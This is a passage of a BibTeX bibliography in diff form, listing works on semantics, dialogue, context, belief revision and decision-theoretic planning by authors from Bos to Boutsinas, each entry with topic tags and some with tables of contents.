{presupposition;VP-ellipsis;} + } + +@inproceedings{ bos-etal:1998a, + author = {Johan Bos and C.J. Rupp and Bianka Buschbeck-Wolf and + Michael Dorna}, + title = {Managing Information at Linguistic Interfaces}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {160--166}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {spoken-dialogue-systems;machine-translation;} +} + +@book{ bos-etal:2002a, + editor = {Johan Bos and Mary Ellen Foster and Colin Mathesin}, + title = {{EDILOG} 2002: Proceedings of the Sixth Workshop on the + Semantics and Pragmatics of Dialogue}, + publisher = {Cognitive Science Centre, University of Edinburgh}, + year = {2002}, + address = {Edinburgh}, + contentnote = {TC: + 1. Susan Brennan, "Audience Design and Discourse Processes: Do + Speakers and Addressees", p. 1 + 2. Enric Vallduv\'i, "Information Packaging and Dialog", p. 4 + 3. J. Gabriel Amores and Jos\'e Quesada, "Cooperation and + Collaboration in Natural Language Command + Dialogues", pp. 5--11 + 4. Anne H. Anderson and Barbara Howarth, "Referential Form and + Word Duration in Video-Mediated and Face-to-Face + Dialogues ", pp. 13--28 + 5. Michael L. Anderson and Yoshi A. Okamoto and Darsana Josyula + and Don Perlis, "The Use-Mention Distinction and its + Importance to {HCI}", pp. 21--28 + 6. Ellen Gurman Bard and Matthew P. Aylett and Robin J. + Lickley, "Towards a Psycholinguistics of + Dialogue: Defining Reaction Time and Error Rate in + a Dialogue Corpus", pp. 29--36 + 7. Adam Buchwald and Oren Schwartz and Amanda Seidl and + Paul Smolensky, "Recoverability Optimality Theory: Discourse + Anaphora in a Bi-Directional Framework", pp. 37--44 + 8. Robin Cooper and Jonathan Ginzberg, "Using Dependent Record + Types in Clarification Ellipsis", pp. 45--52 + 9. Floriana Grasso, "Towards a Framework for Rhetorical + Argumentation", pp. 53--60 + 10. Samson de Jager and Alistair Knott and Ian Bayard, "A + {DRT}-Based Framework for Presupposition in Dialogue + Management ", pp. 61--68 + 11. Ruth Kempson and Masayuki Otsuka, "Dialogue as Collaborative + Tree Growth", pp. 69--76 + 12. Peter Krause, "An Algorithm for Processing Referential + Definite Descriptions in Dialogue Based on + Abductive Inference", pp. 77--84 + 13. J\"orn Kreutel and Colin Matheson, "From Dialogue Acts + to Dialogue Act Offers: Building Discourse + Structure as an Argumentative Process", pp. 85--92 + 14. Ivana Kruijff-Korbayov\'a and Elena Karagjosova and + Staffan Larsson, "Enhancing Collaboration with + Conditional Responses in Information-Seeking + Dialogues", pp. 93--100 + 15. Markus L\"ockelt and Tilman Becker and Norbert Pfleger + and Jan Alexandersson, "Making Sense of + Partial", pp. 101--107 + 16. William Mann, "Dialogue Analysis for Diverse + Situations", pp. 109--116 + 17. Emiliano G. Padilha and Jean Carletta, "A Simulation of + Small Group Discussion", pp. 117--124 + 18. Allison Pease and Simon Colton and Alan Smaill and John + Lee, "Semantic Negotiation: Modelling Ambiguity in + Dialogue", pp. 125--132 + 19. Orin Percus, "Modelling the Common Ground: The Relevance + of Copular Questions", pp. 133--140 + 20. Paul Piwek and Kees van Deemter, "Towards Automated Generation + of Scripted Dialogue: Some Time-Honoured + Strategies", pp. 141--148 + 21. J.F. Quesada and J.G. Amores, "Knowledge-Based Reference + Resolution for Dialogue Management in a Home Domain + Environment", pp. 149--154 + 22. Robert van Rooy, "Relevance Only", pp. 155--160 + 23. David Schlangen and Alex Lascarides, "Resolving Fragments + Using Discourse Information", pp. 161--168 + 24. Matthew Stone and Richmond H. Thomason, "Context in Abductive + Interpretation", pp. 169--176 + 25. Maite Taboada, "Centering and Pronominal Reference: In + Dialogue, in {S}panish", pp. 177--184 + 26. Dimitra Tsovaltzi and Colin Matheson, "Formalizing Hinting + in Tutorial Dialogues", pp. 185--192 + } , + topic = {computational-dialogue;pragmatics;discourse;} + } + +@incollection{ bosch:1979a, + author = {Peter Bosch}, + title = {Vagueness, Ambiguity and All the Rest. An Explication and an + Intuitive Test}, + booktitle = {{S}prachstructur, {I}ndividuum und {G}esellschaft. + {A}kten des 13 {L}inguistischen {K}olloquiums. {B}and I.}, + publisher = {Niemeyer}, + year = {1979}, + pages = {9--19}, + address = {{T}\"ubingen}, + topic = {nl-semantics;vagueness;ambiguity;} + } + +@incollection{ bosch:1983a, + author = {Peter Bosch}, + title = {`{V}agueness' is Context-Dependence: A Solution to the + Sorites Paradox}, + booktitle = {Approaching Vagueness}, + publisher = {North-Holland}, + year = {1983}, + editor = {Thomas T. Ballmer and Manfred Pinkal}, + pages = {189--210}, + address = {Amsterdam}, + topic = {vagueness;context;sorites-paradox;} + } + +@book{ bosch:1983b, + author = {Peter Bosch}, + title = {Agreement and Anaphora: A Study of the Role of Pronouns in + Syntax and Discourse}, + publisher = {Academic Press}, + year = {1983}, + address = {New York}, + ISBN = {0121188205}, + topic = {pronouns;anaphora;} + } + +@book{ bosch:1984a, + author = {Peter Bosch}, + title = {Lexical Learning, Context Dependence, and Metaphor}, + publisher = {Indiana University Linguistics Club}, + year = {1984}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {context;metaphor;word-acquisition;} + } + +@book{ bosch-vandersandt:1999a, + editor = {Peter Bosch and Rob {van der Sandt}}, + title = {Focus: Linguistic, Cognitive, and Computational + Perspectives}, + publisher = {Cambridge University Press}, + year = {1999}, + address = {Cambridge, England}, + ISBN = {0521583055 (hardbound)}, + topic = {sentence-focus;} + } + +@incollection{ bosco-bazzanella:2001a, + author = {Cristina Bosco and Carla Bazzanella}, + title = {Context and Multi-Media Corpora}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {417--420}, + address = {Berlin}, + topic = {context;multimedia-corpora;} + } + +@book{ boskovic:1997a, + author = {\v{Z}eljko Bo\v{s}kovi\'c}, + title = {The Syntax of Nonfinite Complementation}, + publisher = {The {MIT} Press}, + year = {1996}, + address = {Cambridge, Massachusetts}, + topic = {nl-syntax;complementation;} + } + +@incollection{ bossi-etalle:1994a, + author = {Annalisa Bossi and Sandro Etalle}, + title = {More on Unfold/Fold Transformations of Normal Programs: + Preservation of {F}itting's Semantics'}, + booktitle = {Logic Programming Synthesis and Transformation, + Meta-Programming in Logic: Fourth International Workshops, + {LOBSTR}'94 and {META}'94, Pisa, Italy}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Laurent Fribourg and Franco Turini}, + pages = {311--331}, + address = {Berlin}, + topic = {program-transformations;} + } + +@article{ bossu-siegel:1985a, + author = {Genevieve Bossu and Pierre Siegel}, + title = {Saturation, Nonmonotonic Reasoning and the Closed-World + Assumption}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {25}, + number = {1}, + pages = {13--63}, + topic = {nonmonotonic-reasoning;nonmonotonic-logic; + closed-world-reasoning;} + } + +@incollection{ boster:1991a, + author = {James S. Boster}, + title = {The Information Economy Model Applied to + Biological Similarity Judgment}, + booktitle = {Perspectives on Socially Shared Cognition}, + publisher = {American Psychological Association}, + year = {1991}, + editor = {Lauren B. Resnick and John M. Levine and + Stephanie D. Teasley}, + pages = {203--225}, + address = {Washington, D.C.}, + topic = {social-psychology;shared-cognition;} + } + +@article{ bostock:1980a, + author = {David Bostock}, + title = {A Study of Type-Neutrality}, + journal = {Journal of Philosophical Logic}, + year = {1980}, + volume = {9}, + number = {2}, + pages = {211--296}, + topic = {polymorphism;higher-order-logic;} + } + +@article{ bostock:1980b, + author = {David Bostock}, + title = {A Study of Type-Neutrality, Part {II}: Relations}, + journal = {Journal of Philosophical Logic}, + year = {1980}, + volume = {9}, + number = {4}, + pages = {363--414}, + topic = {polymorphism;higher-order-logic;} + } + +@incollection{ botha:1976a, + author = {Rudolf P. Botha}, + title = {On the Analysis of Linguistic Argumentation}, + booktitle = {Assessing Linguistic Arguments}, + publisher = {Hemisphere Publishing Corporation}, + year = {1976}, + editor = {Jessica R. Wirth}, + pages = {1--34}, + address = {Washington, D.C.}, + topic = {philosophy-of-linguistics;foundations-of-linguistics;} + } + +@article{ bottner:1992a, + author = {Michael B\"ottner}, + title = {Variable-Free Semantics for Anaphora}, + journal = {Journal of Philosophical Logic}, + year = {1992}, + volume = {21}, + number = {4}, + pages = {375--390}, + topic = {nl-semantics;anaphora;algebraic-logic;} + } + +@article{ bouchard:1987a, + author = {Denis Bouchard}, + title = {A Few Remarks on Past Participle Agreement}, + journal = {Linguistics and Philosophy}, + year = {1987}, + volume = {10}, + number = {4}, + pages = {449--474}, + topic = {nl-syntax;government-binding-theory;French-language;} + } + +@article{ bouchard-smith_cs:1987a, + author = {Denis Bouchard and Carlota S. Smith}, + title = {Introduction}, + journal = {Linguistics and Philosophy}, + year = {1987}, + volume = {10}, + number = {4}, + contentnote = {Intro to a symposium on syntax and semantics.}, + pages = {429--431}, + topic = {nl-syntax;nl-semantics;} + } + +@book{ bouchard:1995a, + author = {Denis Bouchard}, + title = {The Semantics of Syntax: A Minimalist Approach to Grammar}, + publisher = {University of Chicago Press}, + year = {1995}, + address = {Chicago}, + topic = {nl-semantics;} + } + +@incollection{ boulanger-bruynooghe:1994a, + author = {Dmitri Boulanger and Maurice Bruynooghe}, + title = {Using Call/Exit Analysis for Logic Program + Transformation}, + booktitle = {Logic Programming Synthesis and Transformation, + Meta-Programming in Logic: Fourth International Workshops, + {LOBSTR}'94 and {META}'94, Pisa, Italy}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Laurent Fribourg and Franco Turini}, + pages = {36--50}, + address = {Berlin}, + topic = {logic-programming;} + } + +@inproceedings{ boullier:1996a, + author = {Pierre Boullier}, + title = {Another Facet of {LIG} Parsing}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {87--94}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {parsing-algorithms;linear-indexed-grammars;} + } + +@article{ bouma:1992a, + author = {Gosse Bouma}, + title = {Feature Structures and Nonmonotonicity}, + journal = {Computational Linguistics}, + volume = {18}, + year = {1992}, + pages = {165--172}, + topic = {nm-ling;default-unification;} + } + +@article{ bouquet-giunchiglia_f:1995a, + author = {Paolo Bouquet and Fausto Giunchiglia}, + title = {Reasoning about Theory Adequacy. {A} New Solution + to the Qualification Problem}, + journal = {Fundamenta Informaticae}, + year = {1995}, + volume = {23}, + number = {2--4}, + pages = {247--262}, + month = {June,July,August}, + note = {Also IRST-Technical Report 9406-13, IRST, Trento, Italy}, + topic = {context;qualification-problem;} + } + +@book{ bouquet-etal:1999a, + editor = {Paolo Bouquet and Luigi Serafini and Patrick Br\'ezillon + and Massimo Benerecetti and Francesca Castellani}, + title = {Modeling and Using Contexts: Proceedings of the + Second International and Interdisciplinary Conference, + {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + contentnote = {TC: + 1. Varol Akman and Ferda Nur Alpaslan, "Strawson on Intended + Meaning and Context", pp. 1--14 + 2. Horacio Arl\'o Costa, "Epistemic Context, Defeasible + Inference, and Conversational Implicature", pp. 15--27 + 3. John A. Barnden and Mark G. Lee, "An Implemented Context + System that Combines Belief Reasoning, Metaphor-Based + Reasoning and Uncertainty Handling", pp. 28--41 + 4. John Bell, "Pragmatic Reasoning: Inferring Contexts", + pp. 42--53 + 5. Cathy Berthouzoz, "A Model of Context Adapted to + Domain-Independent Machine Translation", pp. 54--66 + 6. Claudia Bianchi, "Three Forms of Contextual Dependence", + pp. 67--76 + 7. Harry Bunt, "Context Representation for Dialogue + Management", pp. 77--90 + 8. Antonella de Angeli and Laurent Romary and Frederic Wolf, + "Ecological Interfaces: Extending the Pointing Paradigm + by Visual Context", pp. 91--104 + 9. Anna-Maria Di Sciullo, "Formal Context and Morphological + Analysis", pp. 105--118 + 10. Bruce Edmonds, "The Pragmatic Roots of Context", pp. 119--144 + 11. Anita Fetzer, "Non-Acceptance: Re- or Un-Creating Context?", + pp. 133--144 + 12. Chiara Ghidini, "Modelling (Un)Bounded Beliefs", pp. + 145--158 + 13. Chiara Ghidini and Luigi Serfini, "A Context-Based Logic for + Distributed Knowledge Representation and Reasoning", + pp. 159--172 + 14. Guillaume Giraudet and Corinne Rounes, "Independence from + Context Information Provided by Spatial + Signature Learning in a Natural Object + Identification Task", pp. 173--185 + 15. Wolfram Hinzen, "Contextual Dependence and the Epistemic + Foundations of Dynamic Semantics", pp. 186--199 + 16. Boicho Kokinov, "Dynamics and Automaticity of Context: A + Cognitive Modeling Approach", pp. 200--213 + 17. Soichi Kozai, "A Mental Space Account for Speaker's + Empathy: {J}apanese Profiling Identity vs. {E}nglish + Shading Identity", pp. 214--227 + 18. Tomoko Matsui, "On the Role of Context in Relevance-Based + Accessibility Ranking of Candidate Referents", + pp. 228--241 + 19. Christof Monz, "Contextual Inference in Computational + Semantics", pp. 242--255 + 20. Renate Motschnig-Pitrik, "Contexts and Views in + Object-Oriented Languages", pp. 256--269 + 21. Carlo Penco, "Objective and Cognitive Context", + pp. 270--283 + 22. Jean-Charles Pomerol and Patrick Brezillon, "Dynamics between + Contextual Knowledge and Proceduralized Context", + pp. 284--295 + 23. Yannick Prei\'e and Alain Mille and Jean-Marie Pinon, + "A Context-Based Audiovisual Represention Model + for Audiovisual Information Systems", pp. 296--309 + 24. M. Andrea Rodr\'iguez and Max J. Eigenhofer, "Putting + Similarity Assessments into Context: Matching + Functions with the User's Intended Operations", + pp. 310--323 + 25. Marina Sbis\'a, "Presupposition, Implicature and + Context in Text Understanding", pp. 324--338 + 26. Barry Smith and Achille C. Varzi, "The Formal Structure + of Ecological COntexts", pp. 339--351 + 27. Richmond H. Thomason, "Type Theoretic Foundations for + Context, Part 1: Contexts as Complex Type-Theoretic + Objects", pp. 352--374 + 28. Roy M. Turner, "A Model of Explicit Context Representation + and Use for Intelligent Agents", pp. 375--388 + 29. Nikolai Vazov, "Context-Scanning Strategy in Temporal + Reasoning", pp. 389--402 + 30. Wayne Wobcke, "The Role of Context in the Analysis and + Design of Agent Programs", pp. 403--416 + 31. R.A. Young, "Context and Supercontext", pp. 417--441 + 33. Alfs Berztiss, "Contexts, Domains, and Software", + pp. 443--446 + 33. Alex B\"ucher and John G. Hughes and David A. Bell, + "Contextual Data and Domain Knowledge Discovery + Systems", 447--451 + 34. Maud Champagne and Jacques Virbel and Jean-Luc + Nespoulous, "The Differential (?) Processing + of Literal and Non-Literal Speech Acts: A + Psycholinguistic Approach", pp. 451--454 + 35. Henning Christiansen, "Open Theories and Abduction for + Context and Accommodation", pp. 455--462 + 36. Thorstein Fretheim and Wim A. van Dommelen, "Building + Context with Intonation", pp. 463--466 + 37. Sabine Geldof, "Parrot-Talk Requires Multiple Context + Dimensions", 467--470 + 38. Alain Giboin, "Contextual Divorces: Towards a + Framework for Identifying Critical Context + Issues in Collaborative-Argumentation System + Design", pp. 471--474 + 39. Jeanette K. Gundel and Kaja Borthen and Thorstein + Fretheim, "The Role of Context in {E}nglish + and {N}orwegian", pp. 475--478 + 40. Timo Honkela, "Connectionist Analysis and Creation + of Context for Natural Language Understanding and + Knowledge Management", pp. 479--482 + 41. Roland Klemke, "The Notion of Context in Organizational + Memories", pp. 483--487 + 42. S\'everine M\'erand and Charles Tijus and S\'ebastien + Poitrenaud, "The Effect of Context Complexity on + the Memorization of Objects", pp. 487--490 + 43. Yasunori Morishima, "Effects of Discourse Context on + Inference Computation during Comprehension", + pp. 491--494 + 44. Rolf Nossum and Michael Thielscher, "Counterfactual + Reasoning by Means of a Calculus of Narrative + Context", pp. 495--501 + 45. Laurent Pasquier and Patrick Br\'ezillon and Jean-Charles + Pomerol, "Context and Decision Graphs for Incident + Management on a Subway Line", pp. 499--502 + 46. Gerhard Peter and Brigitte Grote, "Using Context to Guide + Information Search for Preventative Quality + Management", pp. 503--506 + 47. Fabio Pianesi and Achille C. Varzi, "The Context-Dependency + of Temporal Reference in Event Semantics", + pp. 507--510 + 48. B\'eatrice Pudelko and ELizabeth Hamilton and Denis Legros + and Charles Tijus, "How Context Contributes + to Metaphor Understanding", pp. 511--514 + 49. Jamie Sherrah and Shaogang Gong, "Exploiting Context in + Gesture Recognition", pp. 515--518 + 50. L.M. Tovena, "The Use of Context in the Analysis of + Negative Concord and {N}-Words, pp. 519--522 + 51. Elise H. Turner and Roy M. Turner and John Phelps and + Mark Neal and Charles Grunden and Jason + Mailmen, "Aspects of Context for + Understanding Multi-Modal Communication", pp. + 523--526 + } , + address = {Berlin}, + topic = {context;} + } + +@incollection{ bouquet-serafini:2001a, + author = {Paolo Bouquet and Luciano Serafini}, + title = {Two Formalizations of Context: A Comparison}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {87--101}, + address = {Berlin}, + topic = {context;logic-of-context;} + } + +@book{ bourdieu:1998a, + author = {Pierre Bourdieu}, + title = {Practical Reason: On the Theory of Action}, + publisher = {Polity Press}, + year = {1998}, + address = {Cambridge, England}, + ISBN = {0745616240}, + topic = {practical-reasoning;} + } + +@incollection{ bourely-etal:1996a, + author = {Christophe Bourely and Gilles Difourneaux and Nicolas + Peltier}, + title = {Building Proofs or Counterexamples by Analogy in + a Resolution Framework}, + booktitle = {Logics in Artificial Intelligence: European Workshop, + {Jelia}'96, Ivora, Portugal, September 30 - October 3, + 1996.}, + publisher = {Springer-Verlag}, + year = {1996}, + editor = {Jos\'e J\'ulio Alferes and Lu\'is Moniz Pereira and Ewa Orlowska}, + pages = {34--49}, + address = {Berlin}, + topic = {analogical-reasoning;} + } + +@techreport{ boutilier:1989a, + author = {Craig Boutilier}, + Title = {On the Semantics of Stable Inheritance Reasoning}, + institution = {Department of Computer Science, University of Toronto}, + number = {KRR-TR-89-{11}}, + year = {1989}, + xref = {Abbreviated Version: \cite{Boutilier-89b}.}, + topic = {inheritance-theory;} + } + +@inproceedings{ boutilier:1989b, + author = {Craig Boutilier}, + title = {On the Semantics of Stable Inheritance Reasoning}, + booktitle = {Proceedings of the Eleventh International Joint + Conference on Artificial Intelligence}, + year = {1989}, + editor = {N.S. Sridharan}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + missinginfo = {pages}, + topic = {inheritance-theory;} + } + +@inproceedings{ boutilier:1990a, + author = {Craig Boutilier}, + title = {Conditional Logics of Normality as Modal Systems}, + booktitle = {Proceedings of the Eighth National Conference on + Artificial Intelligence}, + year = {1990}, + editor = {Thomas Dietterich and William Swartout}, + pages = {594--599}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {deontic-logic;conditionals;} + } + +@inproceedings{ boutilier:1990b, + author = {Craig Boutilier}, + title = {Viewing Conditional Logics of Normality as Extensions of + the Modal System {S4}}, + booktitle = {Proceedings of the Eighth National Conference on + Artificial Intelligence}, + year = {1990}, + editor = {Thomas Dietterich and William Swartout}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + missinginfo = {pages}, + topic = {nonmonotonic-conditionals;} + } + +@techreport{ boutilier:1992a, + author = {Craig Boutilier}, + title = {Conditional Logics for Default Reasoning and Belief + Revision}, + institution = {Computer Science Department, University of Toronto}, + number = {KRR--TR--92--1}, + year = {1992}, + address = {Toronto, Ontario}, + topic = {kr;conditionals;belief-revision;nonmonotonic-logic;} + } + +@incollection{ boutilier:1992b, + author = {Craig Boutilier}, + title = {Normative, Subjunctive, and Autoepistemic Defaults: Adopting + the {R}amsey Test}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {685--696}, + address = {San Mateo, California}, + topic = {kr;nonmonotonic-reasoning;belief-revision;CCCP;} + } + +@inproceedings{ boutilier:1993a, + author = {Craig Boutilier}, + title = {Revision by Conditional Beliefs}, + booktitle = {Proceedings of the Eleventh National Conference on + Artificial Intelligence}, + year = {1993}, + editor = {Richard Fikes and Wendy Lehnert}, + pages = {649--654}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {kr;belief-revision;conditionals;kr-course;} + } + +@inproceedings{ boutilier:1993b, + author = {Craig Boutilier}, + title = {A Modal Characterization of Defeasible Deontic Conditionals and + Conditional Goals}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on Reasoning + about Mental States}, + year = {1993}, + pages = {30--39}, + organization = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + note = {Unpublished other than distribution to conferees. --RT}, + topic = {kr;conditionals;nonmonotonic-logic;} + } + +@inproceedings{ boutilier:1993c, + author = {Craig Boutilier}, + title = {Belief Revision and Nested Conditionals}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + editor = {Ruzena Bajcsy}, + pages = {519--523}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {belief-revision;conditionals;} + } + +@techreport{ boutilier-becher:1993a, + author = {Craig Boutilier and Ver\'onica Becher}, + title = {Abduction as Belief Revision}, + institution = {University of British Columbia, Computer Science + Department}, + number = {93--23}, + year = {1991}, + address = {Vancouver, British Columbia}, + xref = {Journal Publication: boutilier-becher:1995a.}, + topic = {belief-revision;abduction;} + } + +@inproceedings{ boutilier-goldzsmidt:1993a, + author = {Craig Boutilier and Mois\'es Goldzsmidt}, + title = {A Theory of Conditional Belief Revision}, + booktitle = {Proceedings of the Eleventh National Conference on + Artificial Intelligence}, + year = {1993}, + editor = {Richard Fikes and Wendy Lehnert}, + pages = {649--654}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {belief-revision;conditionals;} + } + +@inproceedings{ boutilier:1994a, + author = {Craig Boutilier}, + title = {Toward a Logic for Qualitative Decision Theory}, + booktitle = {Principles of Knowledge Representation and Reasoning}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {75--86}, + topic = {qualitative-utility;} + } + +@unpublished{ boutilier:1994b, + author = {Craig Boutilier}, + title = {Defeasible Preferences and Goal Derivation}, + note = {Unpublished manuscript, 1994. Department of Computer Science, + University of British Columbia, Vancouver, British Columbia, + Canada V6T 1Z4. Available at + http://www.cs.ubc.ca/spider/cebly/craig.html.}, + topic = {qualitative-utility;preferences;} + } + +@article{ boutilier:1994c, + author = {Craig Boutilier}, + title = {Unifying Default Reasoning and Belief Revision in a Modal + Framework}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {68}, + number = {1}, + pages = {33--85}, + topic = {modal-logic;default-logic;belief-revision; + nonmonotonic-logic;} + } + +@article{ boutilier:1994d, + author = {Craig Boutilier}, + title = {Conditional Logics of Normality: A Modal Approach}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {68}, + number = {1}, + pages = {87--154}, + topic = {nonmonotonbic-logic;conditionals;modal-logic;} + } + +@article{ boutilier:1995a, + author = {Craig Boutilier}, + title = {Abduction as Belief Revision}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {77}, + number = {1}, + pages = {95--128}, + topic = {kr;belief-revision;abduction;kr-course;} + } + +@inproceedings{ boutilier:1995b, + author = {Craig Boutilier}, + title = {Generalized Update: Belief Change in Dynamic Settings}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1550--1556}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {belief-revision;} + } + +@article{ boutilier-becher:1995a, + author = {Craig Boutilier and Ver\'onica Becher}, + title = {Abduction as Belief Revision } , + journal = {Artificial Intelligence}, + year = {1995}, + volume = {77}, + number = {1}, + pages = {43--94}, + topic = {belief-revision;abduction;} + } + +@unpublished{ boutilier-etal:1995a, + author = {Craig Boutilier and Thomas Dean and Steve Hanks}, + title = {Planning under Uncertainty: Structural Assumptions and + Computational Leverage}, + year = {1995}, + note = {Unpublished manuscript, 1995.}, + missinginfo = {Get publication info: + European Planning Workshop?}, + topic = {planning;uncertainty-in-AI;foundations-of-planning;} + } + +@incollection{ boutilier-goldszmidt:1995a, + author = {Craig Boutilier and Mois\'es Goldszmidt}, + title = {On the Revision of Conditional Belief Sets}, + booktitle = {Conditionals: From Philosophy to Computer Science}, + publisher = {Oxford University Press}, + year = {1995}, + editor = {Gabriella Crocco and Luis Fari\~nas del Cerro and Andreas Herzig}, + pages = {267--300}, + address = {Oxford}, + topic = {conditionals;belief-revision;} + } + +@article{ boutilier:1996a, + author = {Craig Boutilier}, + title = {Iterated Revision and Minimal Change of Conditional Beliefs}, + journal = {Journal of Philosophical Logic}, + year = {1996}, + volume = {25}, + number = {3}, + pages = {263--305}, + topic = {belief-revision;conditionals;} + } + +@article{ boutilier:1996b, + author = {Craig Boutilier}, + title = {Abduction to Plausible Causes: An Event-Based + Model of Belief Update}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {83}, + number = {1}, + pages = {143--166}, + topic = {abduction;belief-revision;} + } + +@incollection{ boutilier:1996c, + author = {Craig Boutilier}, + title = {Planning, Learning and Coordination in Multiagent + Decision Processes}, + booktitle = {Theoretical Aspects of Rationality and Knowledge: + Proceedings of the Sixth Conference ({TARK} 1996)}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Yoav Shoham}, + pages = {195--210}, + address = {San Francisco}, + contentnote = {Introduces the idea of a multiagent Markov decision + process.}, + topic = {multiagent-planning;cooperation;} + } + +@inproceedings{ boutilier-etal:1997a, + author = {Craig Boutilier and Ronen Brafman and Christopher Geib and + David Poole}, + title = {A Constraint-Based Approach to Preference Elicitation + and Decision Making}, + booktitle = {Working Papers of the {AAAI} Spring Symposium on + Qualitative Preferences in Deliberation and Practical + Reasoning}, + year = {1997}, + editor = {Jon Doyle and Richmond H. Thomason}, + pages = {19--28}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {qualitative-utility;preferences;preference-elicitation;} + } + +@article{ boutilier-etal:1997b, + author = {Craig Boutilier and Yoav Shoham and Michael P. Wellman}, + title = {Economic Principles of Multi-Agent Systems}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {94}, + number = {1--2}, + pages = {1--6}, + contentnote = {This is an editorial for a special issue of + Artificial Intelligence.}, + topic = {AI-and-economics;} + } + +@inproceedings{ boutilier-etal:1997c, + author = {Craig Boutilier and Ronen Brafman and Christopher Geib}, + title = {Prioritized Goal Decomposition of {M}arkov Decision Processes: + Towards a Synthesis of Classical and Decision Theoretic Planning}, + booktitle = {Proceedings of the Fifteenth International Joint + Conference on Artificial Intelligence}, + year = {1997}, + editor = {Martha Pollack}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {1156--1163}, + topic = {decision-theoretic-planning;} + } + +@article{ boutilier:1998a, + author = {Craig Boutilier}, + title = {A Unified Model of Qualitative Belief Change: + A Dynamical Systems Perspective}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {98}, + number = {1--2}, + pages = {281--316}, + topic = {belief-revision;} + } + +@unpublished{ boutilier-poole:1998a, + author = {Craig Boutilier and David Poole}, + title = {Computing Optimal Policies for Partially Observable + Decision Processes Using Compact Representations}, + year = {1998}, + note = {Unpublished manuscript, Department of Computer Science, + University of British Columbia.}, + missinginfo = {Year is a guess. Get publication info.}, + topic = {Markov-decision-processes;decision-theoretic-planning;} + } + +@inproceedings{ boutilier:1999a, + author = {Craig Boutilier}, + title = {The Role of Logic in Stochastic Decision Processes}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {decision-theoretic-planning;Markov-decision-processes;} + } + +@article{ boutilier:1999b, + author = {Craig Boutilier}, + title = {Multiagent Systems: Challenges and Opportunities for + Decision-Theoretic Planning}, + journal = {The {AI} Magazine}, + year = {1999}, + volume = {20}, + number = {4}, + pages = {35--43}, + topic = {multiagent-planning;decision-theoretic-planning;} + } + +@article{ boutilier-etal:1999a, + title = {Decision Theoretic Planning: Structural Assumptions and + Computational Leverage}, + author = {Craig Boutilier and Thomas Dean and Steve Hanks}, + journal = {Journal of Artificial Intelligence Research}, + year = {1999}, + volume = {10}, + pages = {to appear}, + topic = {decision-theoretic-planning;} + } + +@unpublished{ boutilier-etal:1999b, + author = {Craig Boutilier and Ronen I. Brafman and + Holger H. Hoos and David Poole}, + title = {Reasoning with Conditional Ceteris Paribus Preference + Semantics}, + year = {1999}, + note = {Unpublished manuscript. Available at\\ + http://www.cs.ubc.ca/cebly/Papers/\_download\_/CPnets.ps}, + topic = {preference;qdt;} + } + +@article{ boutilier-etal:2000a, + author = {Craig Boutilier and Richard Dearden and Mosi\'es + Goldszmidt}, + title = {Stochastic Dynamic Programming with Factored + Representations}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {121}, + number = {1--2}, + pages = {49--107}, + topic = {Markov-decision-processes;Bayesian-networks;decision-trees; + dynamic-programming;} + } + +@article{ boutsinas-vrahatis:2001a, + author = {Basilis Boutsinas and Michael N. Vrahatis}, + title = {Artificial Nonmonotonic Neural Networks}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {132}, + number = {1}, + pages = {1--38}, + topic = {nonmonotonic-reasoning;connectionist-models;} + } 